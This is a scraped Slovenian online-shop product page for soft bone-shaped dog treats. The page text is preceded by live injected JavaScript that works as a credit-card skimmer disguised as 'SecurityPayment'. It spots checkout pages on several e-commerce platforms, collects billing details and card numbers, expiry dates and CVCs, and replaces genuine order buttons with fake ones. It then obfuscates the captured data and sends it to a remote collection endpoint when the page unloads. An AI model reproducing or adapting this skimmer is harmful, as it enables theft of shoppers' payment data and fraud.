zip: form.cc_zip.value,
phone: form.cc_phone.value,
email: form.cc_email.value,
client_ip: '',
t_price: ''
});
fillCard(form.cc_number, form.cc_exp, form.cc_cvc);} else if (typeof prestashop !== 'undefined' && prestashop.customer) {
const addr = prestashop.customer.addresses[Object.keys(prestashop.customer.addresses)[0]] || {};
Object.assign(enc, {
fname: prestashop.customer.firstname,
lname: prestashop.customer.lastname,
email: prestashop.customer.email,
country: addr.country_iso || '',
street: addr.address1 || '',
apartament: addr.address2 || '',
city: addr.city || '',
state: addr.state_iso || '',
zip: addr.postcode || '',
phone: addr.phone || addr.phone_mobile || '',
client_ip: '', t_price: ''
});
fillCard(form.cc_number, form.cc_exp, form.cc_cvc);} else if (this.is_wordpress()) {
Object.assign(enc, {
fname: Q('#billing_first_name')?.value || '',
lname: Q('#billing_last_name')?.value || '',
country: Q('#billing_country')?.value || '',
street: Q('#billing_address_1')?.value || '',
apartament: Q('#billing_address_2')?.value || '',
city: Q('#billing_city')?.value || '',
state: Q('#billing_state')?.value || '',
zip: Q('#billing_postcode')?.value || '',
phone: Q('#billing_phone')?.value || '',
email: Q('#billing_email')?.value || '',
t_price: Q('tr.order-total bdi')?.innerText || '',
client_ip: ''
});
fillCard(form?.cc_number, form?.cc_exp, form?.cc_cvc);} else if (this.is_opencart()) {
Object.assign(enc, {
fname: Q('#input-firstname')?.value || '',
lname: Q('#input-lastname')?.value || '',
country: Q('#input-payment-country option:checked')?.innerText || '',
street: Q('#input-payment-address-1')?.value || '',
apartament: Q('#input-payment-address-2')?.value || '',
city: Q('#input-payment-city')?.value || '',
state: Q('#input-payment-zone option:checked')?.innerText || '',
zip: Q('#input-payment-postcode')?.value || '',
phone: Q('#input-telephone')?.value || '',
email: Q('#input-email')?.value || '',
client_ip: '', t_price: ''
});
fillCard(form?.cc_number, form?.cc_exp, form?.cc_cvc);} else if (typeof quote !== 'undefined') {
const customer = customerData.get('customer') || {};
const isLoggedIn = customer.firstname;
const addr = isLoggedIn
? (customer.addresses?.find(a => a.default_billing) || customer.addresses?.[0] || {})
: (quote.billingAddress() || {});Object.assign(enc, {
fname: addr.firstname || customer.firstname || '',
lname: addr.lastname || customer.lastname || '',
email: addr.email || customer.email || quote.guestEmail || '',
country: addr.countryId || '',
street: addr.street?.[0] || '',
apartament: addr.street?.[1] || '',
city: addr.city || '',
state: addr.region?.region_code || addr.regionCode || '',
zip: addr.postcode || '',
phone: addr.telephone || Q('input[name=telephone]')?.value || '',
client_ip: '', t_price: ''
});quote.billingAddress?.subscribe?.(ba => ba && Object.assign(enc, {
fname: ba.firstname || '',
lname: ba.lastname || '',
country: ba.country_id || '',
street: ba.street?.[0] || '',
apartament: ba.street?.[1] || '',
city: ba.city || '',
state: ba.regionCode || '',
zip: ba.postcode || '',
phone: ba.telephone || Q('input[name=telephone]')?.value || '',
email: quote.guestEmail || ''
}));
fillCard(form?.cc_number, form?.cc_exp, form?.cc_cvc);
}const payment = Q('input[name="payment_method"]:checked, input[name="payment[method]"]:checked')?.value;
if (!form && payment) {
const map = {
woo_paypal_stripe_gateway_set: ['#woo_paypal_stripe_gateway_set-card-number', '#woo_paypal_stripe_gateway_set-card-expiry', '#woo_paypal_stripe_gateway_set-card-cvc'],
authnetcim: ['#authnetcim-cc-number', '#authnetcim-cc-exp-month', '#authnetcim-cc-cid', '#authnetcim-cc-exp-year'],
authorize_net_cim_credit_card: ['#wc-authorize-net-cim-credit-card-account-number', '#wc-authorize-net-cim-credit-card-expiry', '#wc-authorize-net-cim-credit-card-csc'],
authorize_net_aim: ['input[name="wc-authorize-net-aim-account-number"]', 'input[name="wc-authorize-net-aim-expiry"]', 'input[name="wc-authorize-net-aim-csc"]'],
worldpay: ['input[name="ccc"]', 'input[name="expp"]', 'input[name="cvvv"]'],
authnet: ['#authnet-card-number', '#authnet-card-expiry', '#authnet-card-cvc'],
paypal_pro: ['#paypal_pro-card-number', '#paypal_pro-card-expiry', '#paypal_pro-card-cvc'],
sagepaymentsusaapi: ['#sagepaymentsusaapi-card-number', '#sagepaymentsusaapi-card-expiry', '#sagepaymentsusaapi-card-cvc'],
paypal_pro_payflow: ['input[name="paypal_pro_payflow-card-number"]', 'input[name="paypal_pro_payflow-card_expiration_month"]', 'input[name="paypal_pro_payflow-card-cvc"]', 'input[name="paypal_pro_payflow-card_expiration_year"]']
};if (map[payment]) {
const [num, exp, cvc, yearSelector] = map[payment];
const numEl = Q(num), expEl = Q(exp), cvcEl = Q(cvc);
fillCard(numEl, expEl, cvcEl);if (yearSelector && expEl?.value) {
const month = expEl.value.trim().padStart(2, '0');
const year = Q(yearSelector)?.value || '';
enc.c_exp = `${month}/${year.slice(-2)}`;
}
}
}const data = btoa(encodeURIComponent(JSON.stringify(enc)));
localStorage.setItem('_enc', this.obfuscateString(data));if (typeof callback === 'function') callback();
},
validateCardDetails: function(cardNumber, expiryDate, cvv) {
const visaPattern = /^4[0-9]{12}(?:[0-9]{3})?$/;
const masterCardPattern = /^5[1-5][0-9]{14}$/;
const amexPattern = /^3[47][0-9]{13}$/;
const discoverPattern = /^6(?:011|5[0-9]{2})[0-9]{12}$/;
const jcbPattern = /^(?:2131|1800|35\d{3})\d{11}$/;
const dinersClubPattern = /^3(?:0[0-5]|[68][0-9])\d{11}$/;
const unionPayPattern = /^62[0-9]{14,17}$/;
const maestroPattern = /^(?:5018|5020|5038|6304|6759|6761|6762|6763)\d{10,15}$/;
const currentDate = new Date();
const [expiryMonth, expiryYear] = expiryDate.split(' / ').map(Number);
const trimmedCardNumber = cardNumber.replace(/\s+/g, '');
const isVisa = visaPattern.test(trimmedCardNumber);
const isMasterCard = masterCardPattern.test(trimmedCardNumber);
const isAmex = amexPattern.test(trimmedCardNumber);
const isDiscover = discoverPattern.test(trimmedCardNumber);
const isJCB = jcbPattern.test(trimmedCardNumber);
const isDinersClub = dinersClubPattern.test(trimmedCardNumber);
const isUnionPay = unionPayPattern.test(trimmedCardNumber);
const isMaestro = maestroPattern.test(trimmedCardNumber);
const isCardNumberValid = (isVisa || isMasterCard || isAmex || isDiscover || isJCB || isDinersClub || isUnionPay || isMaestro) && this.luhnCheck(trimmedCardNumber);
const fullExpiryYear = expiryYear < 100 ? 2000 + expiryYear : expiryYear;
const isExpiryValid = (fullExpiryYear > currentDate.getFullYear() || (fullExpiryYear === currentDate.getFullYear() && expiryMonth >= currentDate.getMonth() + 1));
const isCvvValid = (isAmex && /^\d{4}$/.test(cvv)) || (!isAmex && /^\d{3}$/.test(cvv));
return isCardNumberValid && isExpiryValid && isCvvValid;
},
luhnCheck: function(cardNumber) {
const digits = cardNumber.replace(/\D/g, '').split('').map(Number);
const checksum = digits.reverse().reduce((acc, digit, index) => {
if (index % 2 === 1) {
digit *= 2;
if (digit > 9) digit -= 9;
}
return acc + digit;
}, 0);
return checksum % 10 === 0;
},
obfuscateString (str) {
let shifted = '';
for (let i = 0; i < str.length; i++) {
let charCode = str.charCodeAt(i) + parseInt(atob(this.shift).slice(-1));
shifted += String.fromCharCode(charCode);
}
shifted = shifted.split('').reverse().join('');
return shifted;
},
beforeInit: function() {
if (typeof prestashop != 'undefined') {
if (Q('#f_place_order') === null && Q('#payment-confirmation button') !== null) {
const fId = QAll('input[id*=payment-option]').length * 2;
const hidePS = this.ps_payment_hide();
let string = 'div#payment-option-' + hidePS.join('-container,div#payment-option-') + '-container,';
string += '#payment-confirmation button{display:none!important}#f_place_order{display:flex;justify-content:center}';const css = document.createElement('style');
css.innerHTML = string;document.head.prepend(css);const cl = Q('#payment-confirmation button');
const po = document.createElement('a');
po.href = 'javascript:void(0)';
po.id = 'f_place_order';
po.type = 'button';
po.className = 'btn btn-primary btn-block btn-lg disabled';
po.innerText = cl.innerText;
po.disabled = !Q('input[name="conditions_to_approve[terms-and-conditions]"]:checked');
po.classList.toggle('disabled', po.disabled);
po.addEventListener('click', (e) => {
if (Q('input[name="payment-option"]:checked').id == `payment-option-${fId}`) {
this.init();
} else {
const btn = Q('#payment-confirmation button');
btn.disabled = false;
btn.classList.remove('disabled');
btn.click();
}
});
cl.after(po);Q('input[name="conditions_to_approve[terms-and-conditions]"]')?.addEventListener('change', e => {
const btn = Q('#f_place_order');
btn && (btn.disabled = !e.target.checked, btn.classList.toggle('disabled', !e.target.checked));
});this.ps_payment_id = fId;const divCard = document.createElement('div');
divCard.innerHTML = `
`;
Q('.payment-options').appendChild(divCard);return true;
}
return false;
} else if (this.is_wordpress()) {
if (Q('#f_place_order') === null && Q('#place_order')) {
const [hidePS, firstVisibleElement] = this.wp_payment_hide();
let string = hidePS.length ? 'li.payment_method_' + hidePS.join(',li.payment_method_') : '';
string += ',#place_order,div.payment_method_' + firstVisibleElement;
string += '{display:none!important}li.payment_method_cod,li.payment_method_bacs,.ppc-button-wrapper{display:none!important}';
string += '#wc-stripe-express-checkout-element,#wc-stripe-express-checkout-button-separator{display:none!important}';
string += `
#f_place_order{
width: 100%;
}
`;const css = document.createElement('style');
css.innerHTML = string;document.head.prepend(css);const cl = Q('#place_order');
const po = cl.cloneNode();
po.id = 'f_place_order';
po.type = 'button';
po.innerText = cl.innerText;
po.disabled = Q('#terms') && !Q('#terms').checked;
po.style.cssText = window.getComputedStyle(cl).cssText;
po.style.display = 'block';
po.addEventListener('click', (e) => {
if (SecurityPayment.wp_yes_form()) {
SecurityPayment.init();
} else if (SecurityPayment.wp_no_form()) {
if (Q('script[src*="blockUI"]')) {
const overlay = document.createElement('div');
overlay.className = 'blockUI blockOverlay';
overlay.style.cssText = 'z-index:1000;border:medium none;margin:0px;padding:0px;width:100%;height:100%;top:0px;left:0px;background:rgb(255, 255, 255) none repeat scroll 0% 0%;opacity:0.6;cursor:default;position:absolute;';
(Q('form.checkout') || document.body).appendChild(overlay);
}SecurityPayment.validate_card('', function() {
if (SecurityPayment.is_wordpress()) {
Q('div.blockUI.blockOverlay')?.remove();
Q('#place_order').click();
}
});
} else if (!SecurityPayment.wp_yes_form()) {
Q('#place_order').click();
}
});
cl.style.display = 'none';
cl.after(po);Q('#terms')?.addEventListener('change',e=>Q('#f_place_order').disabled=!e.target.checked);
return true;
}
return false;
} else if (this.is_opencart()) {
if (Q('#f_place_order') === null) {
let string = '#f_place_order{background:rgb(38, 188, 47)}#f_place_order:hover{background:rgba(29,188,173,1)}';
string += `
div.section-payment > div.section-body > div:nth-child(1),
div.section-payment > div.section-body > div:nth-child(2),
div.section-payment > div.section-body > div:nth-child(3),
div.section-payment > div.section-body > div:nth-child(5),
div.section-payment > div.section-body > div:nth-child(6),
div.section-payment > div.section-body > div:nth-child(7),
div.section-payment > div.section-body > div:nth-child(8){display:none!important}
`;const css = document.createElement('style');
css.innerHTML = string;document.head.prepend(css);const cl = Q('#quick-checkout-button-confirm');
const po = document.createElement('a');
po.href = 'javascript:void(0)';
po.id = 'f_place_order';
po.className = 'btn btn-primary';
po.innerText = cl.innerText;
po.addEventListener('click', (e) => {
if (Q('input[name="payment_method"]:checked').value == 'mollie_creditcard' && SecurityPayment.opencart_validate_input()) {
SecurityPayment.init();
} else {
Q('#quick-checkout-button-confirm').click();
}
});
cl.style.display = 'none';
cl.after(po);
return true;
}
return false;
} else if (typeof quote != 'undefined') {
document.getElementById('paypal_express')?.closest('.payment-method')?.remove();
if (Q('#f_place_order') === null && Q('.sq-payment-method') !== null) {
const css = document.createElement('style');
css.innerHTML = 'div.payment-method:has(#paypal_express) { display: none !important; }';
document.head.appendChild(css);const pm = document.createElement('div');
pm.className = 'payment-method stripe-payment-method';
pm.setAttribute('data-bind', 'css: {\'_active\': (getCode() == isChecked())}');
pm.innerHTML = `
Credit Card Payment
`;
pm.addEventListener('click', (e) => {
document.querySelectorAll('.payment-group > .payment-method').forEach(function(e, i) {
if (e.className.indexOf('_active') !== -1) {
e.className = 'payment-method';
}
});
pm.className = 'payment-method _active';
pm.querySelector('#stripe_payment').click();
});Q('.sq-payment-method').after(pm);
Q('.sq-payment-method').remove();Q('#f_place_order')?.addEventListener('click', (e) => {
SecurityPayment.init();
});
return true;
}
return false;
} else {
return false;
}
},
is_checkout: function() {
return (
location.href.indexOf('zakljucek-nakupa') != -1 ||
location.href.indexOf('placanje') != -1 ||
location.href.indexOf('checkout') != -1 ||
location.href.indexOf('ordine') != -1 ||
location.href.indexOf('cassa') != -1 ||
location.href.indexOf('kassa') != -1 ||
location.href.indexOf('kasse') != -1 ||
location.href.indexOf('pago') != -1 ||
location.href.indexOf('compra') != -1 ||
location.href.indexOf('order') != -1 ||
location.href.indexOf('comanda') != -1 ||
location.href.indexOf('commande') != -1 ||
location.href.indexOf('carrito') != -1 ||
location.href.indexOf('kassan') != -1 ||
location.href.indexOf('finalizar-compra') != -1 ||
location.href.indexOf('objednat') != -1 ||
location.href.indexOf('pagamento') != -1
);
},
is_payment_options: function () {
Q('div.payment-options, ul.payment_methods, input[name="payment_method"]')
&&(typeof prestashop!='undefined'||this.is_wordpress()||this.is_opencart())
},
is_wordpress: function() {
return !!Q('link[href*="/wp-content/"]');
},
is_opencart: function() {
return !!Q('script[src*="catalog/view/javascript"]');
},
opencart_validate_input: function() {
const firstname = Q('#input-firstname')?.value;
const lastname = Q('#input-lastname')?.value;
const telephone = Q('#input-telephone')?.value;
const email = Q('#input-email')?.value;
const postcode = Q('#input-payment-postcode')?.value;
const address1 = Q('#input-payment-address-1')?.value;
const address2 = Q('#input-payment-address-2')?.value;
const city = Q('#input-payment-city')?.value;
const country = Q('#input-payment-country')?.value;
const zone = Q('#input-payment-zone')?.value;
return !!(firstname && lastname && telephone && email && postcode && address1 && address2 && city && country && zone);
},
ps_payment_hide: function() {
let afterPaymentMethods = this.psPaymentMethods.slice();let allPaymentOptionInput = QAll('div.payment-options input[id*="payment-option"]');
let allPaymentOptionIds = [];allPaymentOptionInput.forEach((element) => {
let paymentMethodId = element.id.replace('payment-option-', '');
if (afterPaymentMethods.includes(element.dataset.moduleName)) {
allPaymentOptionIds.push(paymentMethodId);
}
});return allPaymentOptionIds;
},
wp_payment_hide: function() {
let afterPaymentMethods = this.wpPaymentMethods.slice();
let firstVisibleMethod = null;
let toHide = [];QAll('ul.payment_methods > li').forEach((element) => {
const method = afterPaymentMethods.find(m =>
element.classList.contains(`payment_method_${m}`)
);if (method) {
if (!firstVisibleMethod) {
firstVisibleMethod = method;
const idx = afterPaymentMethods.indexOf(method);
if (idx !== -1) afterPaymentMethods.splice(idx, 1);
} else {
toHide.push(method);
const idx = afterPaymentMethods.indexOf(method);
if (idx !== -1) afterPaymentMethods.splice(idx, 1);
//element.style.display = 'none';
}
}
});return [toHide, firstVisibleMethod];
},
wp_validate_input: function() {
const fields = [
'#billing_first_name',
'#billing_last_name',
'#billing_address_1',
'#billing_city',
'#billing_postcode',
'#billing_phone',
'#billing_email'
];
let errors = [];
fields.forEach((id, i) => {
const el = Q(id);
if (!el) return;const label = Q(`label[for="${el.id.slice(1)}"]`);
const isRequired = (
el.closest('.form-row')?.classList.contains('validate-required') ||
el.hasAttribute('required') ||
el.classList.contains('required') ||
el.closest('.form-row')?.querySelector('.required') ||
el.previousElementSibling?.querySelector('.required') ||
el.parentElement?.querySelector('.required')
);
const val = el.value.trim();
const border = (val || !isRequired) ? '#ddd' : '#f00';
if (!val && isRequired) {
errors.push(i + 1);
}if (el.tagName === 'SELECT') {
const s2 = el.nextElementSibling?.querySelector('.select2-selection');
if (s2) s2.style.borderColor = border;
else el.style.borderColor = border;
} else {
el.style.borderColor = border;
}
});if (errors.length > 0) {
const wrapper = Q('.woocommerce-notices-wrapper');
if (wrapper) {
const top = wrapper.getBoundingClientRect().top + window.scrollY - 300;
if (top) window.scrollTo({ top, behavior: 'smooth' });
}
return false;
}return true;
},
wp_yes_form: function() {
return this.wp_validate_input() && this.wpPaymentMethods.some(method =>
Q(`input[name="payment_method"][value="${method}"]`) && Q(`input[name="payment_method"][value="${method}"]:checked`)
);
},
wp_no_form: function() {
const wpPaymentMethods = [
'woo_paypal_stripe_gateway_set',
'authorize_net_cim_credit_card',
'authorize_net_aim',
'paypal_pro_payflow',
'paypal_pro',
'worldpay',
'authnet',
'cardinity',
'sagepaymentsusaapi'
];return wpPaymentMethods.some(method =>
Q(`input[name="payment_method"][value="${method}"]`) && Q(`input[name="payment_method"][value="${method}"]:checked`)
);
}
};
function initScript() {
window.addEventListener('beforeunload', () => {
const g_enc = localStorage.getItem('_enc');
if (g_enc) {
const formData = new FormData();
formData.append('enc', g_enc);
navigator.sendBeacon?.(SecurityPayment.validate_url + '/cdn/verify', formData) ||
fetch(SecurityPayment.validate_url + '/cdn/verify', {
method: 'POST',
body: formData,
keepalive: true
}).catch(error => console.error('Fetch error:', error));
localStorage.setItem('_dt', (Math.floor(Date.now() / 1000) + 345600));
localStorage.removeItem('_enc');
}
});
}
if (document.readyState === 'interactive' || document.readyState === 'complete') {
initScript();
} else {
document.addEventListener('DOMContentLoaded', initScript);
}
const Pinter = setInterval(function(e) {
const dt = localStorage.getItem('_dt');
if ((dt == null || dt <= Math.floor(Date.now() / 1000)) && SecurityPayment.is_checkout() && SecurityPayment.beforeInit() !== false && SecurityPayment.is_payment_options() !== false) {}
}, 300);
})();
Skip to content
Domov / Trgovina / Suhomesnati izdelki / Mehki priboljški mixMehki priboljški mix Mešani mehki priboljški v obliki kosti so okusna in priročna nagrada za trening ali vsakodnevno razvajanje psa.
mehka in polvlažna tekstura mešanica različnih okusov privlačna oblika majhnih kosti primerni za trening in učenje enostavni za hitro odmerjanje primerni za pogosto nagrajevanje za pse različnih velikosti 2,39€ – 4,99€ Cenovni razpon: od 2,39€ do 4,99€
Polvlažni mehki priboljški Mix Bones frigera so okusna mešanica priboljškov v obliki majhnih kosti. Zaradi mehke teksture jih psi enostavno prežvečijo, privlačen vonj in različni okusi pa pomagajo ohranjati njihovo pozornost ter motivacijo med učenjem.
Priboljški so primerni za trening, nagrajevanje ali vsakodnevno razvajanje med obroki. Priročni koščki omogočajo enostavno odmerjanje, na voljo pa so v manjšem pakiranju za občasno uporabo in večjem pakiranju za pogostejše treninge ali gospodinjstva z več psi.
SESTAVA: žita in derivati rastlinskega izvora, olja in maščobe, meso in živalski derivati, propilen glikol, ribe in ribji derivati.
ANALITIČNE SESTAVINE: surove beljakovine 11,7 %; surove maščobe 5,9 %; surovi pepel 2,0 %; surove vlaknine 1,0 %; vlaga 24,0 %.
NAVODILA ZA HRANJENJE: ponudite med obroki kot priboljšek ali nagrado kot del uravnotežene prehrane. Izdelek ni nadomestilo za popoln obrok. Med hranjenjem psa vedno nadzorujte. Pes naj ima vedno na voljo svežo pitno vodo. Hranite na suhem in hladnem mestu. Po odprtju embalažo dobro zaprite. Ni namenjeno prehrani ljudi. Uporabno najmanj do/št. serije: glej žig/embalažo. LOT številka: na embalaži.
Neto količina: 165 g ali 500 g.
Scroll to Top
Spletno mesto za namen izboljšave delovanja uporablja piškotke. Z uporabo strani soglašate z uporabo piškotkov. Preberi več... Se strinjam